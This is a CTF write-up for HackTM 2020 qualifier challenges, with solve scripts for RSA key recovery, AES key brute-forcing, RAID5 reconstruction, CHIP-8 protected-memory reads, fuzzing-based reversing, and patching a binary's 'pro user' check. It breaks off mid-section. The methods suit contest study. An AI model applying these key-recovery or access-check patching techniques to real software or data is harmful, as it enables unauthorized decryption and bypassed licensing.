HackTM CTF Quals 2020 Writeup
由于寒假比较闲,所以找点比赛打。由于需要上交 wp,所以是英文的。
Crypto
RSA is easy #1
Since N is known, we can compute the encrypted value of each printable character. Then match them with the given encrypted flag, we can decrypt it.
e=65537
n=...
s=[...(encrypted flag)]
from gmpy2 import *
f={}
for j in range(32,127):
f[j**e%n]=j
r=''
for i in s:
r+=chr(f[i])
print r
RSA is easy #2
We doesn’t know N, but we know that c=n^e\ mod\ N. So N is a factor of n^e-c. Then for two c, we can check all n, and calculate their gcd. Then just follow #1.
from gmpy2 import *
s=open('c').read()
s1='Encrypted flag:'
s=s[s.find(s1)+len(s1):]
s=eval(s.strip())
a=s[0]
b=s[1]
for i in range(97,97+26):
for j in range(97,97+26):
t=gcd(i**65537-a,j**65537-b)
if t>100:
print '|',t
print i
Prison Break
Maintain the difference of every two adjacent numbers.
#include<bits/stdc++.h>
typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;
#define xx first
#define yy second
template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))
#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)
struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;
int s[10000007];
int main()
{
freopen("Given_File.txt","r",stdin);
fo0(i,9999999)
{
int a,b,c;
in,a,b,c;
assert(a>=1&&a<=1000000000);
assert(b>=1&&b<=1000000000);
assert(c>=0&&c<=9);
assert(a<=b);
(s[a]+=c)%=10;
(s[b]+=10-c)%=10;
}
int r=1;
fo1(i,10000000)
{
(s[i]+=s[i-1])%=10;
(s[i]+=10)%=10;
if(s[i])r=(ll)r*s[i]%999999937;
}
out,r,'\n';
}
Bad keys
\phi(n) is a factor of ed-1. So we can find phi(n).
Since pq=n,pq-p-q+1=\phi(n), we can find p and q.
The p in the keys are very similar, just like adjacent primes, so we can check some p and factorize n.
n=...
p=12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129863163
print(p)
while n%p:
p-=1
print(p)
Count on me
Consider the given key is a number under some strange base.
Guess each digits is divided in two parts, and they form a 20 base.
After guessing some ways to read the number, finally I found the flag.
(key.txt)
N >N *NNN>N/N>/*//NNN// >> >>.>*./N>.NN/N>N . /N >N>/>/>N/
WN V*\\NVW\WVN* NVNN WN\ \ . *.NN . N NWW\\.W\ W\\ NW N\W
from Crypto.Cipher import AES
c='059fd04bca4152a5938262220f822ed6997f9b4d9334db02ea1223c231d4c73bfbac61e7f4bf1c48001dca2fe3a75c975b0284486398c019259f4fee7dda8fec'.decode('hex')
iv = '42042042042042042042042042042042'.decode('hex')
def chk(key):
aes = AES.new(key,AES.MODE_CBC, iv)
r=aes.decrypt(c)
for i in r:
if ord(i)<32 or ord(i)>126:
return False
print(r)
return True
def chkn(x):
r=''
for i in range(32):
r+=chr(x&255)
x>>=8
assert x==0
r=r[::-1]
return chk(r)
a,b=open('key.txt').readlines()[:2]
a=a.strip()
b=b.strip()
va={'>':2, '/':1, 'N':3, ' ':0, '.':0}
vb={'N':3, 'W':4, ' ':0, '\\':1, '.':0, 'V':2}
unk=[]
tot=0
for i in range(59):
p=58-i
po=20**i
if a[p]=='*':
assert b[p]=='*'
unk.append((po,i))
else:
tot+=(va[a[p]]*5+vb[b[p]])*po
def dfs(x,cur):
if x==len(unk):
return chkn(cur)
for i in range(20):
dfs(x+1,cur+unk[x][0]*i)
dfs(0,tot)
Forensics
RR
It seems to be raid5. After some observation, I found the way to decrypt it.
(decrypt script, 2.img is the xor of 1.img and 3.img)
#include<bits/stdc++.h>
typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;
#define xx first
#define yy second
template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))
#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)
struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;
int main()
{
FILE*fa=fopen("1.img","rb"),*fb=fopen("2.img","rb"),*fc=fopen("3.img","rb"),*fr=fopen("res.img","wb");
const int N=8192*65536,A=8192,B=N/A;
fo0(i,A)
{
unsigned char f[B];
if(i%3==0)
{
fread(f,1,B,fb);
fread(f,1,B,fc);
fwrite(f,1,B,fr);
fread(f,1,B,fa);
fwrite(f,1,B,fr);
}
else if(i%3==1)
{
fread(f,1,B,fa);
fread(f,1,B,fb);
fwrite(f,1,B,fr);
fread(f,1,B,fc);
fwrite(f,1,B,fr);
}
else
{
fread(f,1,B,fc);
fread(f,1,B,fa);
fwrite(f,1,B,fr);
fread(f,1,B,fb);
fwrite(f,1,B,fr);
}
}
}
However, this result image seems to be broken (maybe because of header).
I ran binwalk
on this image, and it found a jpg file. That’s the flag.
Misc
Romanian Gibberish
Remove p
and the letter after it.
The dragon sleeps at night
Work, buy level 1 sword, sleep -5 days, then go to the dragon.
CHIP 8 /1
F X 29
can load protected address into I
.
D X Y N
can read protected memory and show them.
6015
F029
D11F
CHIP 8 /2
The last 512 bytes is executable, just jump there and check “Last instruction”.
Shifty
First, we can find some way to rotate (x_0,y_0),(x_0,y_1),(x_1,y_0). (Just consider (0,0)\to(0,1)\to (1,0))
It requires 2n (n is board size) operations.
For a level, we can solve it by such rotation.
For first three levels, it’s enough. But for level 4, we need to find out what’s the real operation. This is not difficult to be done.
For level 5, we can only guess, and then run this until it succeeds.
from pwn import *
from copy import deepcopy
import random
r=remote('138.68.67.161',60006)
rs=[]
chrs={}
cnts={}
def work_level(id):
global rs,chrs,cnts
r.recvuntil('Level %d\n'%id)
r.recvuntil('Your target:\n')
r.recvuntil(' ')
s=r.recvuntil('\n')
us=s[:]
m=len(s.strip().split())
n=0
req=[]
while True:
s=r.recvuntil('\n').decode()
if len(s)<2:
break
n+=1
req.append(s.strip().split(' ')[1:])
print(n,m,req)
r.recvuntil('Current board:\n\n')
r.recvuntil('\n')
cur=[]
for i in range(n):
s=r.recvuntil('\n').decode()
cur.append(s.strip().split(' ')[1:])
print(cur)
for i in range(n):
print(' '.join(cur[i]))
print(r.recvuntil('Enter'))
print(r.recvuntil(': '))
def rotx(x,u=None):
global rs
if x in chrs:
rs.append(chrs[x])
else:
rs.append(chr(x+65))
for T in range(cnts[x]):
t=cur[x]
cur[x]=t[1:]+t[:1]
if u is not None:
for t in u:
if t[0]==x:
t[1]=(t[1]-1)%m
def roty(y,u=None):
global rs
if -y-1 in chrs:
rs.append(chrs[-y-1])
else:
rs.append(str(y))
for T in range(cnts[-y-1]):
t=cur[0][y]
for i in range(n-1):
cur[i][y]=cur[i+1][y]
cur[n-1][y]=t
if u is not None:
for t in u:
if t[1]==y:
t[0]=(t[0]-1)%n
t=[]
for i in range(n):
t.append(chr(i+65))
for i in range(m):
t.append(str(i))
if id==5:
t=[]
for i in range(n):
t.append(chr(i+65))
random.shuffle(t)
for i in range(n):
chrs[i]=t[i]
t=[]
for i in range(m):
t.append(str(i))
random.shuffle(t)
for i in range(m):
chrs[-i-1]=t[i]
else:
chrs={}
cnts={}
for i in range(-m,n):
cnts[i]=1
if id<=3:
for i in range(n):
chrs[i]=chr(i+65)
for i in range(m):
chrs[-i-1]=str(i)
else:
for ch in t:
#print(ch)
r.send(ch+'\n')
while True:
s=r.recvuntil('\n')
#print(s,us)
if s.strip()==us.strip():
break
cur2=[]
for i in range(n):
s=r.recvuntil('\n').decode()
cur2.append(s.strip().split(' ')[1:])
diff=[]
for i in range(n):
for j in range(m):
if cur[i][j]!=cur2[i][j]:
diff.append((i,j))
assert len(diff)==n or len(diff)==m
xs=set();ys=set()
for i in diff:
xs.add(i[0])
ys.add(i[1])
if len(xs)==1:
for u in xs:
x=u
cnt=0
while cur!=cur2:
rotx(x)
cnt+=1
assert cnt==1 or (cnt+1)%m==0
chrs[x]=ch
cnts[x]=cnt
else:
assert len(ys)==1
for u in ys:
y=u
cnt=0
while cur!=cur2:
roty(y)
cnt+=1
assert cnt==1 or (cnt+1)%n==0
chrs[-y-1]=ch
cnts[-y-1]=cnt
#print(ch,cur)
print(chrs)
print(cnts)
#exit()
rs=[]
def work(x,y,z):
#x<-y y<-z z<-x y is pivot
u=[list(x),list(y),list(z)]
if x[0]==y[0]:
assert x[1]!=y[1] and y[0]!=z[0] and y[1]==z[1]
while u[2]!=list(y):
roty(y[1],u)
while u[0]!=list(y):
rotx(y[0],u)
while u[0]!=list(z):
roty(y[1],u)
while u[2]!=list(y):
rotx(y[0],u)
else:
assert x[1]==y[1] and y[0]==z[0] and y[1]!=z[1]
while u[2]!=list(y):
rotx(y[0],u)
while u[0]!=list(y):
roty(y[1],u)
while u[0]!=list(z):
rotx(y[0],u)
while u[2]!=list(y):
roty(y[1],u)
for i in range(n-1):
for j in range(m):
if i==n-2 and j==m-1:
break
for k in range(n):
for l in range(m):
if req[i][j]==cur[k][l]:
x=k;y=l
break
if i==x and j==y:
continue
if i!=x and j!=y:
assert x>i
work((x,y),(x,j),(i,j))
elif i==x:
t=0
while j==t or y==t:
t+=1
work((x,y),(x+1,y),(x+1,t))
work((x+1,t),(x+1,j),(i,j))
else:
assert j==y
if i!=n-2:
t=1 if y==0 else 0
u=n-1 if x!=n-1 else n-2
work((x,y),(u,y),(u,t))
work((u,t),(u,y),(i,j))
else:
work((x,y),(x,y+1),(i,y+1))
x=i;y+=1
t=0
while j==t or y==t:
t+=1
work((x,y),(x+1,y),(x+1,t))
work((x+1,t),(x+1,j),(i,j))
#print(i,j,cur)
assert cur[i][j]==req[i][j]
#print(cur)
for i in range(m-1):
for k in range(n):
for l in range(m):
if req[n-1][i]==cur[k][l]:
x=k;y=l
break
if n-1==x and i==y:
continue
if x==n-1 and y==m-1:
work((n-1,i),(x,y),(n-2,m-1))
continue
if x==n-1:
work((x,y),(x,m-1),(n-2,m-1))
x=n-2
y=m-1
assert x==n-2 and y==m-1
work((x,y),(n-1,y),(n-1,i))
#print(i,cur)
print(cur)
#print(rs)
#exit()
ST=10000
for i in range(0,len(rs),ST):
r.send(','.join(rs[i:i+ST])+'\n')
if i+ST>=len(rs):
#r.interactive()
#exit()
break
print(r.recvuntil('Enter'))
print(r.recvuntil(': '))
for i in range(1,6):
print('work_level:',i)
work_level(i)
#r.interactive()
print(r.recvuntil('\n'))
tt=r.recv(10)
print(tt)
if tt==b'Enter 0-3 ':
exit()
r.interactive()
Rev
baby bear
If we change some position of input, some suffix of the output will change.
So we can fuzz it. (In fact, it’s bfs or maybe A*)
import pexpect,heapq
def work(s):
p=pexpect.spawn(['./baby_bear_bak'])
p.read(613)
p.write(s+b'\n')
res=p.read(100)
t=res.find(b'\r\n')
return res[t+2:t+48]
def bitxor(s,x):
xt=x>>3
return s[:xt]+bytes([s[xt]^(1<<(x&7))])+s[xt+1:]
target=b'1100011010101011000100101011000101001011111000'
def cal(s):
t=work(s)
c=0
while c<46 and target[c]==t[c]:
c+=1
return c
def u(x,y):
return x-y*2.5
st=b'0'*16
sc=cal(st)
q=[(u(0,sc),sc,0,st)]
while True:
tt,sc,cur,s=heapq.heappop(q)
print(sc,cur,s)
if sc==46:
print()
print(s.decode()[:-2])
break
t=bitxor(s,cur)
flag=True
for i in t:
if i<32 or i>127:
flag=False
if flag:
ns=cal(t)
heapq.heappush(q,(u(cur+1,ns),ns,cur+1,t))
heapq.heappush(q,(u(cur+1,sc),sc,cur+1,s))
papa bear
It shows similar features to baba bear, so we can also fuzz.
import os,pexpect,heapq
def uu(s):
r=''
for i in s:
if i=='M':
r+='0'
elif i=='W':
r+='1'
return r
def work(s):
#p=pexpect.spawn('./papa_bear '+s.decode())
os.system('./papa_bear "'+s.decode().replace('\\','\\\\').replace('"','\\"').replace('`','\\`')+'" 0>out.txt')
return uu(open('out.txt').read())
def bitxor(s,x):
xt=x>>3
return s[:xt]+bytes([s[xt]^(1<<(x&7))])+s[xt+1:]
#print(work('1231231231231234'))
#print(work(b'\0'*16))
#print(work(bitxor(b'\0'*16,10)))
target=uu(open('sample.txt').read())
print(len(target),target)
print(len(work(b'0'*100)))
def cal(s):
t=work(s)
c=0
while c<275 and target[c]==t[c]:
c+=1
return c
def u(x,y):
return x-y*2
#return -y
st=b'HackTM{F4th3r b'+b'0'*80
sc=cal(st)
q=[(u(0,sc),sc,0,st)]
L=4
while True:
tt,sc,cur,s=heapq.heappop(q)
print(sc,cur,s)
if sc==275:
print()
print(s.decode()[:-2])
break
for j in range(1,1<<L):
t=s
for k in range(L):
if j>>k&1:
t=bitxor(t,cur+k)
flag=True
for i in t:
if i<32 or i>126:
flag=False
if flag:
ns=cal(t)
heapq.heappush(q,(u(cur+L,ns),ns,cur+L,t))
heapq.heappush(q,(u(cur+L,sc),sc,cur+L,s))
hackdex
The binary translates words from a dictionary, and there’s an hidden option 9.
That requires pro user, and we patched it at 0xec64.
The option 9 requires 6 words, and checks them using contains_key
. Then it connects these words and checks their sha256, and finally use it as the key of chacha to get the flag.
However, these hash tables were empty, so it’s difficult to know which words are required.
Then the hint gives the Boggle game, and https://github.com/AmokHuginnsson/boggle-solvers/blob/master/solve.py tells us the rules.
So we can find the words for the 6 groups.
char s0[C0][9]={"ear","lea","ina","rae","ran","air","rig","inn","ann","gin","zen","ira","ian","ria","raze","rain","rani","anne","ring","nine","naze","earn","lean","lear","near","iran","rang","arnel","learn","enring","earing","leaning","learning"};
char s1[C1][9]={"rut","tui","ilk","run","nub","urn","kif","uri","but","nut","fur","fun","tub","bun","bur","tun","fir","urb","rub","tur","rif","turn","burn","turf","fril","klut","bulk"};
char s2[C2][9]={"red","ref","fed","end","per","ina","pre","pea","and","ape","dan","pan","den","ned","ire","pad","nap","dap","fen","rep","ind","pen","pend","edna","dane","erin","dean","reap","read","rein","pean","nape","fern","rend","rena","rind","pane","deni","fend","redan","fried","freda","upend","repand","friend","pander","frieda"};
char s3[C3][9]={"neb","ten","tea","hen","wen","vex","net","men","twx","mae","bet","hew","tew","new","the","web","man","hex","vet","ham","wet","name","benz","amen","newt","team","then","bean","beam","anet","than","mane","anew","hebe","next","wean","thane","enema","ethane"};
char s4[C4][11]={"cur","nor","rum","iou","nim","rue","con","cor","cog","cox","ore","cou","roc","ron","our","nog","gon","cue","vum","ion","rev","com","coin","crux","goum","core","over","ovum","roux","gore","more","mure","omni","cure","roue","oxon","minor","incog","incur","curve","cumin","coming","incurve","overcoming"};
char s5[C5][9]={"ass","nil","ali","oap","iso","alp","spa","oil","sal","asp","ila","sos","ion","lap","sap","pal","sin","son","lisp","slap","also","laos","soap","pass","lion","lino","sion","pali","lass","noil","zion","soil","silas","lasso","passion"};
Then just brute force the sha256.
#include<bits/stdc++.h>
typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;
#define xx first
#define yy second
template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))
#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)
struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;
#include "picosha2.h"
#include "omp.h"
const int C0=33,C1=27,C2=47,C3=39,C4=44,C5=35;
const unsigned char req[33]={191, 215, 169, 38, 6, 20, 158, 102, 23, 156, 141, 6, 168, 186, 80, 245, 135, 162, 150, 225, 107, 64, 252, 16, 89, 235, 42, 102, 102, 10, 239, 19};
char s0[C0][9]={"ear","lea","ina","rae","ran","air","rig","inn","ann","gin","zen","ira","ian","ria","raze","rain","rani","anne","ring","nine","naze","earn","lean","lear","near","iran","rang","arnel","learn","enring","earing","leaning","learning"};
char s1[C1][9]={"rut","tui","ilk","run","nub","urn","kif","uri","but","nut","fur","fun","tub","bun","bur","tun","fir","urb","rub","tur","rif","turn","burn","turf","fril","klut","bulk"};
char s2[C2][9]={"red","ref","fed","end","per","ina","pre","pea","and","ape","dan","pan","den","ned","ire","pad","nap","dap","fen","rep","ind","pen","pend","edna","dane","erin","dean","reap","read","rein","pean","nape","fern","rend","rena","rind","pane","deni","fend","redan","fried","freda","upend","repand","friend","pander","frieda"};
char s3[C3][9]={"neb","ten","tea","hen","wen","vex","net","men","twx","mae","bet","hew","tew","new","the","web","man","hex","vet","ham","wet","name","benz","amen","newt","team","then","bean","beam","anet","than","mane","anew","hebe","next","wean","thane","enema","ethane"};
char s4[C4][11]={"cur","nor","rum","iou","nim","rue","con","cor","cog","cox","ore","cou","roc","ron","our","nog","gon","cue","vum","ion","rev","com","coin","crux","goum","core","over","ovum","roux","gore","more","mure","omni","cure","roue","oxon","minor","incog","incur","curve","cumin","coming","incurve","overcoming"};
char s5[C5][9]={"ass","nil","ali","oap","iso","alp","spa","oil","sal","asp","ila","sos","ion","lap","sap","pal","sin","son","lisp","slap","also","laos","soap","pass","lion","lino","sion","pali","lass","noil","zion","soil","silas","lasso","passion"};
#define A(t) int c##t=c;for(char*i=s##t[x##t];*i;i++)tmp[c++]=*i;
#define D(t) c=c##t;
void work(int x0,int x1)
{
char tmp[105];
int c=0;
A(0);
A(1);
fo0(x2,C2)
{
A(2);
fo0(x3,C3)
{
A(3);
fo0(x4,C4)
{
A(4);
fo0(x5,C5)
{
A(5);
unsigned char res[picosha2::k_digest_size+1];
picosha2::hash256(tmp,tmp+c,res,res+picosha2::k_digest_size);
//std::string hex_str = picosha2::bytes_to_hex_string(res,res+picosha2::k_digest_size);
//std::cout<<hex_str<<std::endl;
//out,c,'\n';
if(res[0]==191)//req[0]
{
fo1(i,31)if(res[i]!=req[i])goto naive;
printf("%d %d %d %d %d %d\n",x0,x1,x2,x3,x4,x5);
fprintf(stderr,"%d %d %d %d %d %d\n",x0,x1,x2,x3,x4,x5);
naive:;
}
//fo0(i,c)putchar(tmp[i]);puts("");
//fo0(i,picosha2::k_digest_size)printf("%02x",res[i]);puts("");
//cnt+=c;
D(5);
}
D(4);
}
D(3);
}
D(2);
}
out,x0,' ',x1,'\n';
}
int main()
{
omp_set_num_threads(24);
#pragma omp parallel for
for(int i=0;i<C0*C1;i++)
work(i%C0,i/C0);
}
The final key is learningfunfriendteamovercomingpassion
, then we patched contains_key
, input these keys into the binary, then we got the flag.
mama bear
It generates x86 instructions from some byte code and given key.
Here’s some python equivalent.
